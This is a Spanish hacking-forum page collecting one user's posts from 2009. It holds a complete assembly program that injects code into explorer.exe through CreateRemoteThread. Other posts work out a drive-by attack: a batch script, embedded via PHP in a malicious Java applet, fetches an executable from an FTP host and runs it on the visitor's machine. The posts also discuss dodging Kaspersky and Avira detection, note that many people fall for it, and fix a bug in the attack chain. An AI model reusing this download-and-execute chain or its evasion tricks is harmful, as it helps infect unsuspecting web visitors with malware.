Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - [Zero]

#621
ASM / SRCs de Hacker_Zero
18 Abril 2009, 11:51 AM
Bueno, lo primero no sé si esto debe ir aquí o en análisis y diseño de malware, sino no va a aquí que alguien lo mueva  :).

Código (asm) [Seleccionar]
;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\
;\\\///\\\///\\\///\\\///\\\Inyección de Código en Memoria //\\\///\\\///\\\///\\\
;\\\///\\\///\\\///\\\///\\\          By Hacker_Zero       //\\\///\\\///\\\///\\\
;\\\///\\\///\\\///\\\///\\\      http://www.eduhack.es    //\\\///\\\///\\\///\\\
;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\

Format PE GUI 4.0
entry start
include 'win32a.inc'

Proceso                 db 'explorer.exe',0
nUser32                 db 'USER32.DLL',0
nMessageBox             db 'MessageBoxA',0
hProceso                dd ?
DirFuncion              dd ?
TamañoDatos             dd ?
pInfo                   PROCESS_INFORMATION
sInfo                   STARTUPINFO

start:
;Cargamos la USER32.DLL
invoke LoadLibrary,nUser32

;Obtenemos la dirección de MessageBoxA
invoke GetProcAddress,eax,nMessageBox
mov [mMessageBoxA],eax

;Obtenemos la dirección de ExitProcess
push    [ExitProcess]
pop     [mExitProcess]

;Creamos el Proceso
invoke CreateProcessA,0,Proceso,0,0,0,CREATE_SUSPENDED,0,0,sInfo,pInfo

;Guardamos el Handle
push [pInfo.hProcess]
pop [hProceso]

;Obtenemos el tamaño e la función a inyectar
mov ebx,FIN
sub ebx,FuncionInyectada
mov [TamañoDatos],ebx

;Reservamos espacio en memoria para la función a inyectar
invoke VirtualAllocEx,[hProceso],0,[TamañoDatos],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
mov [DirFuncion],eax

;Escribimos en memoria los datos
invoke WriteProcessMemory,[hProceso],[DirFuncion],FuncionInyectada,[TamañoDatos],0

;Creamos el hilo en el proceso
invoke CreateRemoteThread,[hProceso],0,0,[DirFuncion],0,0,0

;Salimos
invoke ExitProcess,0

;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///
;\\\///\\\///\\\///\\\///\  Función Que se Inyecta  ///\\\///\\\///\\\///
;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///
proc FuncionInyectada
;Obtenemos la dirección de memoria donde nos estamos ejecutando
pushad
call delta
delta:
pop ebp
sub ebp,delta
push ebp ebp
pop ebx ecx

;Obtenemos la dirección donde se cargó el Mensaje y el Título
add ebx,Mensaje
add ecx,Titulo

;Llamamos a MessageboxA
push 0
push ebx
push ecx
push 0
call [ebp+mMessageBoxA]

;Llamamos a ExitProcess
push 0
call [ebp+mExitProcess]

Titulo           db 'Code Inyectado!',0
Mensaje          db 'xD',0

;Las direcciones en memoria de las apis
mMessageBoxA     dd ?
mExitProcess     dd ?
endp
FIN:
;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///
;\\\///\\\///\\\///\\\/// Fin Función Que se Inyecta //\\\///\\\///\\\///
;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///

data import
    library KERNEL32,'KERNEL32.DLL'
    import  KERNEL32,\
            CreateProcessA,'CreateProcessA',\
            CreateRemoteThread,'CreateRemoteThread',\
            WriteProcessMemory,'WriteProcessMemory',\
            VirtualAllocEx,'VirtualAllocEx',\
            ExitProcess,'ExitProcess',\
            LoadLibrary,'LoadLibraryA',\
            GetProcAddress,'GetProcAddress'
end data   


Está comentado e intenté escribirlo de forma clara para que sea fácil de comprender.

Saludos
#622
No nos dará tiempo a tener el Virus Metamorph para esa fecha y presentarlo  :(. Para otro será  :P.

Saludos
#623
En realidad no lo corrompe, cambias el código pero el programa funciona, sólo que retorna al ser arrancado  :xD.

Saludos
#624
Avira detecta todo EOF data como malware. Tienes que alargar la última sección o crear una nueva y meterlo ahí. Si te suena a chino lo que hablo busca información sobre el formato PE  :P.

Saludos
#625
Jaja, bueno es raro que alguien cambie el nombre de la kernel32  :o :rolleyes:

Las apis son más rápidas, con manejo de errores y dan más posibilidades  ;).

Saludos
#626
Pero ves la ventana del ftp? Yo me sale la pantalla de msdos en un pantallazo rapido y se cierra, casi no se nota, luego de poco tiempo, no 3 segundos se me descarga el exe y se ejecuta, te da error al abrir el applet de que el arhivo poc.exe no es una aplicacion win32 valida o no llega ahí? Si hay fallo en el ftp debería mostrar ese error, pero no tiene xk haber fallo, yo lo testeo 20 veces y no falla, haber si alguien mas puede probar  :-\, ahora que pensaba que me saltaba el kav va y ni arranca  :xD.

Saludos
#627
Ais no puede ser!!!, lo de 0 bytes estaba solucionado, tiene que ir, vamos a mi me funciona  :rolleyes:. Prueba otra vez haber, dime que windows, vista?

Saludos
#628
Tamos preparando el poc nuevamente sin utilizar vbs, ahora mismo lo subimos para que lo prueben con el kis, haber si lo detecta por proactiva o no, funciona descargando el archivo por ftp desde la shell  ;D.

Saludos
#629
Estoy trantando de hacerlo todo desde la shell para prescindir del vbs y que no lo detecte el kis, haber si me podéis ayudar, tengo lo siguiente:

@echo off
echo usuario@nombreftp.com>C:\datos.txt
echo contraseña>>C:\datos.txt
echo cd /path>>C:\datos.txt
echo pwd>>C:\datos.txt
echo binary>>C:\datos.txt
echo get archivo.exe>>C:\datos.txt
echo bye>>C:\datos.txt
echo quit>>C:\datos.txt
ftp -s:C:\datos.txt nombreftp.com
start archivo.exe


(Haber si alguien que tenga kav puede probar si lo detecta por proactiva, sería raro)

El caso es que ése código funciona perfectamente, me descarga el archivo del ftp y me lo ejecuta, pero cuando trato de pasarlo a php para que lo ejecute el applet con cmd.exe /c de esta forma:

Código (php) [Seleccionar]
echo "<applet width='1' height='1' code='skata.class' archive='skataMPE.jar'>";
echo "<param name='first' value='
cmd.exe /c
echo usuario@nombreftp.com>C:\datos.txt &
echo contraseña>>C:\datos.txt &
echo cd /path>>C:\datos.txt &
echo pwd>>C:\datos.txt &
echo binary>>C:\datos.txt &
echo get archivo.exe>>C:\datos.txt &
echo bye>>C:\datos.txt &
echo quit>>C:\datos.txt &
ftp -s:C:\datos.txt nombreftp.com &
start archivo.exe
'>";
echo "</applet>";


Al abrir la pagina, el applet se ejecuta, ejecuta los comandos pero me genera un archivo.exe de 0 bytes y obvio da error al ejecutarlo, alguien sabe a que se debe o como lo podría solucionar?

Saludos

PD: Si cae mucha gente, si no fuera por lo del kis sería perfecto, ya que en todos los applets no firmados sale ese mensaje, la gente está acostumbrada a aceptarlo, inicias un chat y sale el mensaje, te vas a jugar al ajedrez y sale ese mensaje, etc...

Edito, el fallo era un espacio, hay que hacer:
cmd.exe /c echo usuario@nombreftp.com>C:\datos.txt&echo contraseña>>C:\datos.txt &
NO:
cmd.exe /c echo usuario@nombreftp.com>C:\datos.txt & echo contraseña>>C:\datos.txt &

Un erro tonto que nos costo a mi y a wofo un gran dolor de cabeza, jajaja.

Saludos
#630
Hm pero ahora que lo pienso, si lo que detecta la heurística es la creación del vbs, mediante /c se pueden descargar los archivos de un ftp con acceso anónimo sin necesidad de crear ningún script, aunque no estoy seguro, me creo un ftp y les cuento, jaja.

Saludos